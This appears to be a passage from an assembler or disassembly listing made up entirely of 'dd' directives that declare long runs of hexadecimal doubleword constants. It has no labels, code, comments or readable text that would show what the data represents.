		dd 0CAFA8937h, 2FF31900h, 6F791420h, 535633BFh,	83C89AC0h
		dd 73002280h, 4AD7B872h, 0AE33ABh, 4EDC0AFEh, 25A8E727h
		dd 0EF389800h, 3DE4A55Fh, 4F70F53h, 0C240B612h,	0E19584BFh
		dd 31419905h, 588055CEh, 95D1E66h, 1A6B0C74h, 0F070E78Dh
		dd 97019228h, 4A1F48E8h, 4ED07A7Bh, 0D1F10F46h,	10586D9Ah
		dd 0CB40C06Bh, 0E91B0312h, 0E69CBE18h, 6949B188h, 22587C00h
		dd 97CE20BCh, 0F018B8E1h, 7BCA0076h, 0E92A78E6h, 0ED39FE42h
		dd 0E75C803Fh, 1C41F53h, 745000D1h, 49D9EE27h, 0AB03A682h
		dd 0EF5C6566h, 0F810D877h, 3D40BA7Ch, 0EC81F645h, 68DE3D62h
		dd 0FD19837Dh, 0D0D04EABh, 693B0Eh, 22EB4A2Fh, 0D604D890h
		dd 272E9E0Eh, 4B7B215Bh, 3980BFF3h, 0CFF94070h,	0F000F29Bh
		dd 9F461A59h, 0A49388h,	0B3945DDCh, 0B4DD6A31h,	0CE8A3406h
		dd 10C6F8h, 0E5734C46h,	252EA384h, 0F3004578h, 0A290866Dh
		dd 8103F2h, 4E5D34F5h, 0A84FB410h, 4867CB78h, 0B210E028h
		dd 0E3DDCh, 0B9DBA79h, 1B904966h, 881812F0h, 13DE0553h
		dd 26A1308Ch, 814CE61h,	3000A374h, 682AC47h, 3912974h
		dd 0BB23C67Ch, 0A3C8EB02h, 92079CDAh, 0C534B2ECh, 9FDE6360h
		dd 124A2F26h, 5F003176h, 3D5515C4h, 0B0D50016h,	0F96F3031h
		dd 0DB00C298h, 0A10F4353h, 186046A0h, 0B83F7A49h, 5C180477h
		dd 29C9D248h, 2D930138h, 0C2604234h, 411980E9h,	47DF3525h
		dd 15EC01h, 3617DD2Dh, 0A4AB7A91h, 71127476h, 7DA08659h
		dd 0BB65035Bh, 20DED44Ch, 1351C6D0h, 72DD4901h,	0BD5B44D8h
		dd 0D10620BCh, 314FB1EBh, 71C03103h, 0F0C5E974h, 12C13266h
		dd 6F095Eh, 77E1219Bh, 6B004CD8h, 377EA650h, 605DA046h
		dd 0A2C630DFh, 19907270h, 0D04938C8h, 9207A9F1h, 0DEF8ABB8h
		dd 490E509Fh, 89846FBDh, 1CDC3C60h, 0A0196164h,	20940620h
		dd 0C976C209h, 16108787h, 0E7814F7h, 0C01054E6h, 6A44F2AFh
		dd 46C8C3D0h, 882B8C21h, 1C60486Ch, 0C2A33406h,	0A73E26C9h
		dd 4B0C18B4h, 6948A320h, 0A99A2886h, 98D62B98h,	0EBB54060h
		dd 0CCA4075Ah, 10791029h, 8862E101h, 888D77D7h,	1BB85AC6h
		dd 632B02DCh, 0FEA9702h, 988302Ch, 1BC40C51h, 587C7EDCh
		dd 38D3A231h, 308ADF06h, 60480DE9h, 233FDEB4h, 95E6D4A8h
		dd 808CA957h, 8758E3C4h, 154680DEh, 0E1883682h,	400646F0h
		dd 0E10226D4h, 0EDA972CBh, 0F1A88296h, 64B4BEh,	42C10CCAh
		dd 0EEB71061h, 0EDA662Ch, 0EB08CC18h, 864D00BAh, 0AC913D53h
		dd 8800B72Ch, 0FEC0F67Eh, 0C4773A72h, 24540E38h, 9D182Ch
		dd 38C86603h, 3DAEB5FBh, 0F72A8B80h, 0CAC74BD0h, 70206B10h
		dd 6110B63Ch, 0CE0028D2h, 0B4A6F2Bh, 78CCA6F4h,	334B407Ch
		dd 0C618BADCh, 0CB2B1014h, 9F2B028h, 30FC202Ah,	64246E19h
		dd 7C5BC580h, 0D313700Fh, 8E38344Ch, 68B81031h,	88C62E3h
		dd 0A5806941h, 0FE487962h, 48CBCDFh, 9018A626h,	5E2E0082h
		dd 3A8B4B08h, 6B0F090Bh, 0F170355h, 0CB860E31h,	0BCF81086h
		dd 5AAB60C7h, 11CA1858h, 7180B818h, 7866805Dh, 0B05FCB81h
		dd 95937302h, 4E012D80h, 0A841F4E3h, 90980270h,	86AB08BFh
		dd 333C60DFh, 199D08B7h, 60630781h, 0CBE0CBD9h,	84A16AE6h
		dd 36D45119h, 6208C6Eh,	0DDC23056h, 8731810h, 18C6082Bh
		dd 0F030AF6Bh, 0CB08C63Bh, 4B3158D0h, 547361EDh, 6D19AC41h
		dd 55B8088Ch, 0E1C69918h, 4908C1E9h, 0D3500088h, 0C7B5E455h
		dd 81455609h, 0F0470BCEh, 11C7D56Eh, 0EEC19484h, 0EF04472h
		dd 0D08DF8Ch, 0D5284046h, 2C18914Bh, 0B410DA37h, 1D8E063Ch
		dd 21786609h, 2E1958FDh, 28384A52h, 37A47191h, 92441016h
		dd 5B8D05Eh, 0F6912BBEh, 0CFB79A80h, 896600AAh,	0A2B2E299h
		dd 0D90623F5h, 0E0CC91C0h, 0E1BA2070h, 0ED116763h, 46783741h
		dd 3CAD8450h, 0DB313CABh, 0B1002220h, 0EE40FC8Eh, 1947F2CBh
		dd 58EA722Eh, 11118FC8h, 5F8E81F3h, 0DEE041BAh,	9598A1E7h
		dd 1B6E8190h, 0BB1071AEh, 2E081B7Ch, 46F9187Ah,	3B8441D2h
		dd 0AC08984Fh, 87BF4EA0h, 68646D83h, 51F11E02h,	11069DDh
		dd 2F019A3Dh, 0F1710075h, 284153B5h, 82E0E4C0h,	11802984h
		dd 0B8AB5764h, 23A5AE80h, 31817A82h, 6C848FF6h,	31EED87Fh
		dd 84E04CF5h, 0D608884Dh, 107E1833h, 4650BCEEh,	0F0C3CD88h
		dd 1840934Eh, 788AD320h, 84A0B98Ch, 0F0FB9DE3h,	30CC472Ch
		dd 92C3495Ch, 54B65624h, 52E801C1h, 0D1D98C63h,	54EEA8CAh
		dd 93BEC87Ch, 83C6E704h, 0E9148720h, 0C01037F1h, 1B71DCB9h
		dd 10DD0FC9h, 9040F7EAh, 9D642AF4h, 0BA74B47Ah,	1FD7140Eh
		dd 5A58C078h, 0A2C126h,	0AD0F4062h, 0DA604A9h, 0F709CC00h
		dd 21337BC3h, 0F8E09D56h, 8C73744h, 8185A9F8h, 8492438h
		dd 1CD1DC11h, 0AA155700h, 0A5D6C184h, 9F1C8118h, 21D263h
		dd 0DD969E37h, 8483C278h, 1C96A501h, 7A9AC500h,	8DBCE27h
		dd 71E10697h, 8E8A133h,	783B6132h, 6549C41h, 0FD1772BBh
		dd 770140CAh, 0C13350CEh, 81D19756h, 41E198E9h,	1584E0D4h
		dd 64A987A1h, 0B30654A0h, 50A4B233h, 8A1E2D7h, 1C045498h
		dd 1D99EDBDh, 3890B703h, 83F17824h, 26666200h, 3CE868F5h
		dd 0EC4EA35Bh, 0D3730051h, 0B3B4FC01h, 6C860FC9h, 0A22350EEh
		dd 62E89472h, 10CAABD3h, 38582035h, 844F017Dh, 8C85DA5Ah
		dd 0E23088D4h, 0AF07B67h, 5E4076CCh, 0AF5906ACh, 707AA1B0h
		dd 0B2582219h, 0E0EF7C10h, 0C7DB2181h, 41E63C80h, 0E08B5042h
		dd 68C8D702h, 0B931D022h, 6B76D701h, 64CC85D8h,	379E407h
		dd 0C7737A02h, 0E09CEA53h, 0F83BE4E1h, 8F363782h, 1090C658h
		dd 5BF90B7Ah, 98420FA0h, 686F2CEFh, 0A5682BECh,	0BEE5C398h
		dd 34BAF9h, 0CC68ED0Ch,	6108FDF0h, 1A4D53Ch, 68C41C1h
		dd 0A85F3082h, 0F118173Ch, 52CE97Bh, 6F406963h,	665014ADh
		dd 6B15A49Fh, 7E098A5h,	0B7004E06h, 2792D0ADh, 12CF99Ch
		dd 2D047A91h, 0D0058DF1h, 3D666231h, 10085218h,	13FAF71h
		dd 0B10EBB6Eh, 0E1D3C957h, 108C11F4h, 890818E5h, 0F82DB688h
		dd 2C343ED1h, 2BFA110Ch, 2E7C3B18h, 80D3137h, 0E02AAB83h
		dd 0C825EA51h, 1F3AA550h, 5C262605h, 0B10D2F01h, 51D0E134h
		dd 0A1E078ECh, 71F0E3FBh, 18FF6385h, 301BCBB0h,	1981DB27h
		dd 9903150h, 3C619BA7h,	1809E658h, 60D9DE11h, 91E8D82Ch
		dd 58E25A31h, 189BE8B5h, 0BEA37853h, 0B911100Ch, 3C680FDh
		dd 384A7084h, 7AC19B4Bh, 0AD5EF847h, 2AE02C1Dh,	6BF4B0A8h
		dd 0C1AC0850h, 511E3C7Dh, 710A0CFFh, 0D104B832h, 0A10A02C7h
		dd 0DF110CBCh, 526F7108h, 0B7878620h, 0B48D28B8h, 0C7FC2894h
		dd 108432ACh, 0B8818FE8h
		dd 0F02709F1h, 0C66F8591h, 2B093918h, 2FA2D8BBh, 30B31232h
		dd 50A48D9Ah, 7EB12086h, 0D454D8E9h, 0B0A08884h, 80A3F7D1h
		dd 8A30E06Fh, 0F10684B1h, 3350FC13h, 508FB46h, 0C753607Fh
		dd 52CB8Ch, 0D2561A2Ch,	0F7E71892h, 0DF7BA0C0h,	0FAE808C6h
		dd 2208748h, 36ECFD90h,	0F80F0720h, 80F1122Ch, 554053Bh
		dd 318C0D17h, 0FB1CF0B0h, 0EF68D4ACh, 0AEC02C61h, 88E8A9DEh
		dd 1450C6A7h, 30C5D4B4h, 482DAFF1h, 0E45C8AF8h,	0C7F4A0C3h
		dd 0F0F75194h, 710814DBh, 0D118F8B7h, 29EC09C3h, 31912D3Ch
		dd 3F0AB8F0h, 5EFD7201h, 21E03A9Ch, 9C6704FAh, 2C1C830Dh
		dd 40D170DEh, 23AAE09Ch, 0A9836004h, 2D2BE487h,	2C90B170h
		dd 0E4293124h, 4139189h, 709F7088h, 0BEE8031Eh,	277BBFA0h
		dd 31192CECh, 0CF58239Ah, 615D8BAh, 79A024FBh, 0A6FC2DCh
		dd 0B8E94AD9h, 70E6FBF8h, 0E731C46Ch, 0F03010FAh, 44C4CE78h
		dd 9D2307FBh, 6A18C0FDh, 7B24D9F6h, 5A0A04D1h, 1AF0CCFBh
		dd 1D661293h, 0F70049B8h, 0DF714801h, 8E08906Ah, 0F454F138h
		dd 0EC2148AAh, 5108DD30h, 0E492C4B4h, 629AC540h, 0FB58A0DBh
		dd 0A90CE8BCh, 0A9367334h, 78816167h, 201E6C11h, 0C0A93E0Ch
		dd 1408BE5Dh, 12CC1059h, 6C0E1962h, 243EFD82h, 26B824A8h
		dd 5E0C502Ah, 648E88B8h, 0C3A608B4h, 0C08C91A8h, 0C8F27124h
		dd 6D371890h, 2B06B825h, 189B4948h, 304125F0h, 0B085A531h
		dd 0F45FE387h, 0E3253D04h, 89274263h, 76A0417Fh, 30C19427h
		dd 576819F7h, 42DEA2C8h, 10088F06h, 2C664DF1h, 510E784Eh
		dd 308014D8h, 0DFB108B0h, 48D0900Bh, 3116D8CDh,	20784959h
		dd 1292B08Fh, 28D00695h, 577B3006h, 6031D381h, 6491BC04h
		dd 108ADEF2h, 1990CDF3h, 0DE3108EAh, 97F12C60h,	0B9A8CF50h
		dd 0CC2093E3h, 156A7C7Ch, 0F8E70AE4h, 7CCC4974h, 35BA6BF0h
		dd 731E162h, 2BC453Fh, 0C01BD637h, 7DA79481h, 76A08AB5h
		dd 0FFF0B0FAh, 0CB083B3Ah, 0ED31C740h, 0FDBEC0B6h, 0DAE5061Eh
		dd 263918B5h, 93C0267h,	743EE351h, 16C8930Ch, 2487391Ah
		dd 0F31CFC58h, 7CA61B8h, 41491D30h, 3B6EC9C2h, 507C89EDh
		dd 4951F0FAh, 54F04073h, 0B80218C6h, 0A78EA0D2h, 810C48CEh
		dd 900E56B2h, 0B31DC2C7h, 381BD110h, 4371FEC7h,	0BCC07439h
		dd 0CEE4571Ah, 8D6738C7h, 273C0379h, 77081552h,	0FC46240Ah
		dd 0F58DBC1h, 878184D4h, 748655F0h, 0AD6CE849h,	49E88F7Ch
		dd 5D6B464h, 54C10227h,	7C4C8511h, 31B0B0C3h, 9311B391h
		dd 577818FCh, 908194B4h, 0BD142C9Ch, 806924F1h,	7D2774F8h
		dd 0E731C4ACh, 3809F68h, 533E2265h, 73012FBh, 7C701083h
		dd 6782D5F0h, 24D77C20h, 0F82C39A7h, 0CF186759h, 8691E663h
		dd 20238FFBh, 0D327B801h, 4C20FF9Eh, 0C4BB4CA7h, 3E97113h
		dd 10DA91C0h, 24440810h, 6030612Bh, 0CD484021h,	938A0705h
		dd 0D0D289C7h, 81984F42h, 88B803C4h, 678885EBh,	0E404D9A1h
		dd 4DEFC2Dh, 93F3F203h,	383BFEFAh, 41F14087h, 6E41B40h
		dd 62FDD87Ch, 682715A9h, 70431CDBh, 3AC882DEh, 440F01F3h
		dd 0B0C723D0h, 0F8D870FAh, 18DF304Ch, 27ACE771h, 3E560490h
		dd 165FC170h, 711EFFCh,	2B142C0Dh, 0A6607034h, 40112653h
		dd 7DB0A703h, 36567490h, 551BC170h, 3C2CDBCh, 380A3EC7h
		dd 70FF98B1h, 306306D0h, 6771356Fh, 1812459h, 0D6B10884h
		dd 0B7208222h, 8F839CCFh, 19F0D668h, 38D78781h,	783C1451h
		dd 0D20511E6h, 7327183Ch, 6582D138h, 0DF3A08DDh, 9A34060Ch
		dd 0F4796F1Ch, 91F8C2C7h, 0F63CFDE5h, 2BA22E6h,	0E06CE702h
		dd 0B6DB110Dh, 55F80074h, 0FADDF1AFh, 3503E007h, 732A8953h
		dd 78087C6Fh, 0A4A3C95h, 0F6001A40h, 0BBA5232Ch, 6709FFh
		dd 72385DB9h, 0DCD1950Eh, 328048C4h, 0CA083C4Ch, 1471423Ch
		dd 0B0201B0Ah, 2016A74Eh, 0A001D18Ch, 6A899F61h, 12026F03h
		dd 6C281C96h, 0D562ADCEh, 1634038h, 0D16DB1EAh,	2584E8Ah
		dd 1B578FEAh, 266001D4h, 0F9688A99h, 17D0746Eh,	0B092227Ch
		dd 38CA2FE0h, 702390EAh, 0E8C3D240h, 20A9C2E0h,	0C70296C5h
		dd 0A054039Fh, 6C8E7815h, 6568A178h, 818CCDF9h,	4A488CC0h
		dd 2097AA1Eh, 80EE418Eh, 7D731C1Ah, 38A33FB3h, 36619A00h
		dd 7EC1C7CCh, 0D6F22C00h, 3270A277h, 9A21021Ch,	0DA20EC0Bh
		dd 4E041C9Ch, 0DEE6CA82h, 194F1000h, 4262DA21h,	1E1D9A70h
		dd 0E871C81Eh, 0D5303931h, 0E986BA00h, 145A2010h, 0DC1003F1h
		dd 0D080E427h, 13CD88CBh, 0ECE0FAE8h, 0B0174ADh, 0DDC92F4Bh
		dd 1E4FF000h, 740D38CAh, 107864D8h, 10D93558h, 7A191B90h
		dd 940709C3h, 1B9C3B89h, 0E108BF3Ah, 0D098ED93h, 12A80995h
		dd 0E9361AF8h, 8FB03010h, 0B0D18694h, 0EEEAF10Ch, 8AB01866h
		dd 1DEC8170h, 0E876708Ah, 0A6E0F39Ch, 0F9C6B18Bh, 1940D750h
		dd 81B3C9Ah, 3011271h, 0B01BA2FAh, 0A1A0727Ah, 9041CEBDh
		dd 0B05EE873h, 0B74B7604h, 2D7040C5h, 231A1FA5h, 19C0E990h
		dd 40AF7560h, 0F00210D8h, 985A1A14h, 0A90BCE9h,	7824B669h
		dd 0A83082CCh, 2C4119F2h, 0F0DAD0F1h, 9015C4AAh, 0BCA8BA03h
		dd 0D049108Ch, 0C6FA15B7h, 7C722BE8h, 0E31FB460h, 0F0DE4097h
		dd 88B72E3Ch, 0F0E8709Ah, 0EF282F6Dh, 2CA3B234h, 0B82ADFFBh
		dd 0A744D07Bh, 0CC1A50D3h, 1108DF8Bh, 155D12F4h, 1396B806h
		dd 1DA93308h, 1019EE18h, 6FC1A35Ah, 0A1B23424h,	43F67AE4h
		dd 830BE2D0h, 0A31FAF4h, 0CC449A08h, 10EF0CD8h,	14483648h
		dd 0E86E1154h, 39FC7EE0h, 0A04808FFh, 0D06F1AC0h, 0B06EE4C8h
		dd 0B80F3F89h, 0FD17E8Ch, 0B0C211CCh, 705249BAh, 99946D24h
		dd 1ADD9E5h, 9B1AE5Ah, 16D9AE1h, 8BEA2BAh, 98587A24h, 0D7FA0870h
		dd 5E3AD8C6h, 0C905F0F0h, 0C82832E9h, 0D89B1404h, 0F8F2BA1Bh
		dd 0A2118CE1h, 0FA318008h, 743A10CBh, 4DC02427h, 71C963D8h
		dd 0A6F54900h, 506CCB1Eh, 73E61CF9h, 0BA1D10h, 0D044B470h
		dd 0A003B09h, 7F9F0FDh,	18961E1Fh, 41CB9964h, 0CA00B2C6h
		dd 0A0EFD06Ch, 8107F073h, 8F041A30h, 46835EE8h,	18802966h
		dd 8CDBE10h, 7237786Fh,	0AC4449B0h, 3E08C33Ch, 8735C5Fh
		dd 0B0054586h, 6068BB58h, 2023E429h, 26107499h,	9615CBFBh
		dd 0BFA05CBDh, 0D820B9BBh, 0F1460367h, 11906CC5h, 0B5F0A810h
		dd 31E27AF0h, 0E6392C62h, 0B0988259h, 0C70B612h, 9A983ACDh
		dd 420306A9h, 4706CB4h,	0F082BB3h, 0EBD1E0D4h, 41C7C189h
		dd 781CFEA6h, 83D0AF14h, 0B989827Bh, 0E7C6B114h, 0ABF01890h
		dd 627B70B8h, 0E2E110C3h, 8FDD1841h, 5E7B909h, 887C0850h
		dd 8821088Eh, 0AA396618h, 857FC89h, 141AC388h, 15FFAFFh
		dd 41C9A486h, 20E687C0h, 0FCAF3A60h, 0AA6FAF82h, 0CC0F10B2h
		dd 80D478CCh, 9A723990h, 0BE9F3274h, 94BE3AD0h,	5A17E20Ch
		dd 0EC4691E3h, 0DF8CA003h, 3350C5BBh, 15B806B8h, 8224A019h
		dd 410C342Ah, 634328DAh, 0D97D08FFh, 886F831h, 2C20B590h
		dd 90BEE930h, 49DCA1Dh,	78BBF310h, 61B49896h, 0BCE691A9h
		dd 0B6809829h, 40BFF008h, 26633A24h, 19B73288h,	70B9BC08h
		dd 44F4476Ah, 22C9FE7h,	0A3EE2AF6h, 8106016Ah, 0D0A4433Dh
		dd 5B406074h, 8EB6190h,	2B71F30h, 0F0B48365h, 906815A7h
		dd 7AF1F8EAh, 76DDDC91h, 48BFA680h, 4D314002h, 41C71E51h
		dd 92B379ACh, 3C7C6108h, 6B31582h, 0C60C90C0h, 348804F3h
		dd 0E6D048C5h
		dd 3E48C01Ah, 0A81404FCh, 5601BE3h, 0F403DC66h,	15B26750h
		dd 0A0A908A0h, 969A7DE0h, 6286B844h, 0EB30402Ch, 290488BEh
		dd 6D4F7BECh, 79362606h, 0C07CEA56h, 0C1C353Dh,	0EA468069h
		dd 6A8370ADh, 0A024E7Dh, 0DE70E631h, 6CF815ECh,	0C4C30EB1h
		dd 0C916064h, 20881514h, 9C6C870Ch, 5371CC50h, 0E461A671h
		dd 0B6793038h, 2B7CCC41h, 8678098h, 0C2403750h,	31489A91h
		dd 4A28B1FFh, 89088CFEh, 0C19440FDh, 76129008h,	6041E172h
		dd 5231702Ch, 9AF8089Ch, 0F09B8A01h, 0EF4824F0h, 0D0581400h
		dd 0C8483EA8h, 796118C8h, 9080A720h, 0A1D771C4h, 887B384h
		dd 8FD1D8B0h, 0ACA1D49Ch, 0C3100C37h, 4870972Fh, 81D0A957h
		dd 51FBF10Bh, 0BEC6EC50h, 32949012h, 620814D6h,	0C85B003h
		dd 0C37690F8h, 0A957FFE0h, 0A2AD80E4h, 80759851h, 48C43166h
		dd 0C4802430h, 0DFC9A350h, 58CCD960h, 1DE46406h, 1031A898h
		dd 7330087Dh, 0A2C29C47h, 188886E5h, 3A7026D8h,	6FB9F814h
		dd 81C4DC79h, 0D0042886h, 2089F06h, 3E93CF06h, 0A226026Ch
		dd 7D0188A5h, 657FD0A4h, 4639DC62h, 51D004EEh, 0C2F3B094h
		dd 736D2084h, 1365E610h, 4AB61D16h, 0C8077B8h, 3F099D2h
		dd 85E08493h, 44E65351h, 7C9A3175h, 50CE4032h, 81F44F2Eh
		dd 10FCB66h, 0DCA60174h, 62107020h, 8590404Bh, 6B81F84Fh
		dd 60517B4Bh, 410CC601h, 523370F0h, 6F7DFCh, 1A029B81h
		dd 3307667Bh, 7870B5F6h, 8CB048C4h, 4CDC161Dh, 8461F218h
		dd 64E00893h, 449F476Fh, 0B466BC68h, 3240F948h,	9DA18D50h
		dd 72D04C41h, 10D52ECCh, 55093699h, 0A477C195h,	4BA8F2F0h
		dd 26C96662h, 31A4A5EFh, 847A07Ch, 6A328F59h, 0CFC74606h
		dd 9C765798h, 0B759C4C1h, 0E6E188D2h, 31500AB5h, 4129F88Ch
		dd 6B22C510h, 0A898060Ah, 0A685D06Ch, 67411DE2h, 3C34C2D9h
		dd 816CAD3Bh, 0C70E2008h, 1000D75Eh, 31DFCCD9h,	13F2601Ch
		dd 0CD692C6h, 70088664h, 0C0E72532h, 0BF3CEF3Ch, 19833786h
		dd 6618488Fh, 0A738B948h, 480C90C1h, 100DCABEh,	0E208DD0Bh
		dd 25FCF069h, 0D07824B4h, 30B74231h, 0DA02B9A0h, 2B8F14E8h
		dd 0FF195C94h, 8BC4528h, 95F8E026h, 1925EC5Ch, 0E806AC03h
		dd 0E9801818h, 0C4E50E88h, 0C1862308h, 9A84D2E4h, 4110EC08h
		dd 0F8BE996Ch, 0A70A326h, 7CA4BB78h, 1A01B502h,	4148D8CAh
		dd 0D8849818h, 61136D0h, 49C82241h, 351260D8h, 930878BCh
		dd 412012F2h, 0C0E6341Bh, 0DE88C5B0h, 6E530670h, 1639D9A3h
		dd 1E9EF206h, 0E0E0EB70h, 0B35F4B26h, 6FA639C5h, 0DC6807Ch
		dd 0D67DF531h, 34B9DDF0h, 0BC493708h, 4143E05Ch, 8092F8FFh
		dd 84AF3F66h, 8A39B681h, 860193E6h, 30F040B4h, 68ADBC45h
		dd 0D714CF03h, 26A11847h, 419038B6h, 386C1E82h,	9AB17BCBh
		dd 93E24671h, 3AF39h, 19984370h, 80976940h, 900885F2h
		dd 1CC196F7h, 10959BE8h, 68F08442h, 0E261F495h,	0CDAAE669h
		dd 88BE4302h, 5C96E908h, 8B0686FCh, 445738B1h, 2538CF88h
		dd 0F023F101h, 30381787h, 4CA04A5Ah, 610BF88Ch,	24F41C22h
		dd 1570C5C6h, 64E374F0h, 0DD197DF8h, 0C766C4A0h, 452438BAh
		dd 5C1EC8C8h, 48DF8872h, 0C0C60FF4h, 7289AA90h,	7C90C150h
		dd 89CB035h, 0B41EE484h, 51BC3115h, 3ED0E0B5h, 117008C5h
		dd 417DB8D3h, 0C813DC10h, 4511105Ah, 2BEC2299h,	4060BB36h
		dd 48C872C4h, 31409149h, 2B70F897h, 5CCEA827h, 393855EEh
		dd 5080A626h, 81B4AF4Fh, 8DE2041Bh, 0C1460179h,	60288852h
		dd 0C43D9024h, 0C1381008h, 241C3028h, 8C929E50h, 0CFC84857h
		dd 0EE36E4FCh, 87F23C89h, 3E79B0C0h, 3231023Ch,	48DD01CFh
		dd 0E005E905h, 884DA2B0h, 219833h, 787E9990h, 29EC2458h
		dd 4E5098F0h, 0D12818F4h, 0DA660DEh, 0A11098C2h, 0C98BCBDh
		dd 0C2598F58h, 2857C639h, 595C9E8h, 0B045EBEEh,	54925266h
		dd 81AC6F20h, 2D2068F8h, 68860280h, 0B217500Ch,	0DE98F620h
		dd 884464E0h, 0E70899C3h, 4C493896h, 50842A29h,	36242E21h
		dd 20BC1C78h, 4A64827h,	0C2F01013h, 7C7056C4h, 10A06549h
		dd 3526C6F8h, 71C0FBDCh, 0C9C59A89h, 7C6D7746h,	0B8807432h
		dd 1573EA3Fh, 4610F4B0h, 32193D35h, 44C3A0B3h, 28C010D8h
		dd 0C2CECADh, 57FB4803h, 0C8BE3C0h, 15D2E658h, 2A48E250h
		dd 0FF771830h, 0C6CED108h, 20E8D7F0h, 4A81F874h, 0B8D8AC27h
		dd 34A64ACAh, 14370610h, 9324E92Eh, 0B0F406F4h,	507BD097h
		dd 0E718B960h, 2C10729Fh, 0AC47924h, 3AFC80BDh,	906ED3A0h
		dd 0BE526908h, 94F0C4C4h, 0EFA67054h, 50D8C517h, 0FDE4092Ch
		dd 9B7E3C61h, 0E1F8F099h, 988CB7DCh, 6510B00Ah,	16EE09Ah
		dd 0C40586A8h, 0C435A20h, 90101DD0h, 8E6DA32h, 0A57003EFh
		dd 4310C813h, 8C9D7C83h, 9AB8B4C1h, 9C60188Ch, 21C67EE8h
		dd 661081BAh, 0F0283959h, 0D240A3F8h, 2711C41Ch, 510082A1h
		dd 0C8A0286Fh, 8A42BA23h, 4FCB7C6h, 1F2DBEF0h, 0BA5883EDh
		dd 0D01144CEh, 0AB108021h, 639008C4h, 7DEB38D3h, 2684A809h
		dd 74ACA1C2h, 0C51008BEh, 0C49210FFh, 74055D27h, 8EEC4CA2h
		dd 843390F8h, 192ED0D5h, 923B018h, 0A4F1986Eh, 0C3027020h
		dd 0D4F8D0F8h, 374F10E1h, 1000D4C0h, 168855CCh,	0FC49660Ah
		dd 0F881500Ah, 98B59E8Ch, 0F0ECA0F7h, 0B0C54D85h, 5470EC40h
		dd 0C4878C4Fh, 25C10C8h, 85785230h, 0E806A5D8h,	44C99170h
		dd 8066BF2Ch, 48193920h, 3AAC9C54h, 5845FE29h, 0FBD8861Fh
		dd 0D0B04AA8h, 53242008h, 74435680h, 0D2265161h, 871F02FDh
		dd 0AC6AF0F0h, 153D1009h, 2148A424h, 3C468A28h,	45101290h
		dd 2B5590DCh, 5BE411CCh, 9172E6C4h, 89B3BAB4h, 3EDEB98h
		dd 14E98DF4h, 0A89E8B18h, 0A8EF2618h, 68CA8A49h, 971CC4E3h
		dd 0D7CFBC01h, 37D0BD1Ah, 0D084001Fh, 0AD6D7E77h, 163C060Eh
		dd 2B4A0141h, 48B1D63h,	2646C8E4h, 66F7D3Bh, 39054F43h
		dd 0E07F3721h, 0A5E8F45Ah, 25084546h, 6D1CD39Ah, 1AF71BFAh
		dd 9069A448h, 45A0C680h, 0B8CCFEA1h, 53B74021h,	40C44476h
		dd 0E322A4h, 0D0D16765h, 12801757h, 0B200AF46h,	5002F48Fh
		dd 0FF341C55h, 15EF00CBh, 3A8C306Ah, 13DD3C00h,	0EA6FBC98h
		dd 304FE870h, 28087EC9h, 24AE9A44h, 35EF0304h, 0FD60EEFEh
		dd 0BD08C85Ah, 0E81480Fh, 2F839F29h, 0CAC7616Bh, 98217328h
		dd 971D4363h, 11EB487Bh, 58989EF4h, 1FCFA0BFh, 655B8187h
		dd 8CD3C78Dh, 91243D48h, 58EF801Eh, 0E9CF48CCh,	7D038D8Fh
		dd 186096F2h, 81F15D91h, 90AF61D2h, 0FB90F220h,	1568B352h
		dd 0F684D57Dh, 639E2970h, 0E09D881Ch, 70ED7821h, 870889C1h
		dd 825BBD80h, 7E297036h, 0DD801C62h, 0EFBDFF33h, 0C9048B2h
		dd 0AB04212h, 94A40CB1h, 6173848Fh, 0F40F083Fh,	33AFF073h
		dd 0C0628CA5h, 84389A9Eh, 0A306FF1Ch, 2E3308D6h, 0CF65489Bh
		dd 0C9E187CEh, 0BE6E2FC2h, 80764268h, 0BDD9611Dh, 0B4E7318Fh
		dd 0E0CAE3D8h, 0CB6EA5AFh, 6FE0B818h, 68B163FCh, 0D01098F3h
		dd 7F30999Ah, 7ED08F08h, 0E031E0AFh, 3D1C9F78h,	2F805661h
		dd 7888C853h, 1A15C6E5h, 0B8C524A4h, 0C6D811FBh, 795DC465h
		dd 0FD0644Ch, 2F080663h, 39E132F7h, 0F01E471h, 0FB02AD84h
		dd 88DD88Eh, 1CBF1E8h, 0EF011A2Fh, 0D88C27C5h, 8E8B30E8h
		dd 0E00C7D28h, 81A36F32h, 4FB082B1h, 0A4ACA60Bh, 226F3708h
		dd 1C968778h, 70936A68h
		dd 0B60880E8h, 99DE37Ch, 384F7019h, 2F006609h, 8CA0D7C5h
		dd 70CFD19Ch, 0CB08F8E5h, 6E0090BBh, 30861091h,	4B318893h
		dd 0CD470892h, 0B6CF9441h, 0AF7A99D3h, 94489041h, 0C6198420h
		dd 8602FD0h, 2606EF20h,	0B87CDFCFh, 0FC08B0B2h,	0CCFA860Fh
		dd 89C6228h, 6F03128Fh,	4F300C38h, 9020A381h, 880F08C4h
		dd 0BCC28F02h, 19BF5803h, 39A5DE48h, 18889275h,	8E5C44Ch
		dd 68444D0Fh, 0EF089B30h, 28CAAAB6h, 2F0CF898h,	40AF0840h
		dd 4C448F41h, 960F800Ah, 57AF30C6h, 40CEF808h, 0EC92AB70h
		dd 4F11B764h, 845EF06h,	996527EEh, 0E84C0A40h, 0C6A811ACh
		dd 9196BE09h, 8C8AF489h, 8F06F18h, 0CD97E2CFh, 0D1201938h
		dd 1D199091h, 616F8F09h, 0B010B815h, 0BD097AC8h, 0AF0001CDh
		dd 895BAA3h, 0A128D42Ah, 0A863E8E4h, 0CAC680D4h, 3AACFA20h
		dd 889C9718h, 0E0C19D31h, 6139AACEh, 0A1D0D0C5h, 31D17803h
		dd 811097E1h, 0A44407FAh, 29314106h, 3221D240h,	8040C33Eh
		dd 0CABE103h, 0B7090108h, 0B67C9D18h, 893C137h,	0E1069B84h
		dd 0E3311157h, 0A4A320DCh, 8BE06080h, 37575817h, 0CC1D81F4h
		dd 45DFC549h, 0B6483C7h, 4232E7E0h, 0DFB90061h,	41381AF2h
		dd 8C6F12Bh, 3E50D720h,	3374FFBFh, 7D90DB8Fh, 0DAF091Fh
		dd 0E24A2107h, 0B8596141h, 891E098h, 0C1CD9001h, 55E1E0F3h
		dd 2C41A88Ch, 28D81A0h,	903D0FFEh, 605FF38h, 1B013823h
		dd 9E31901Dh, 0D6607814h, 0FDF28441h, 0F780208Ch, 0C63E9C0h
		dd 0E0E3F920h, 0F8EBD781h, 0E81133E1h, 0A80CEE40h, 0E8C4B261h
		dd 0A8C5664Ch, 0E7F0A091h, 4B88A0ADh, 0C61FE367h, 8E98931h
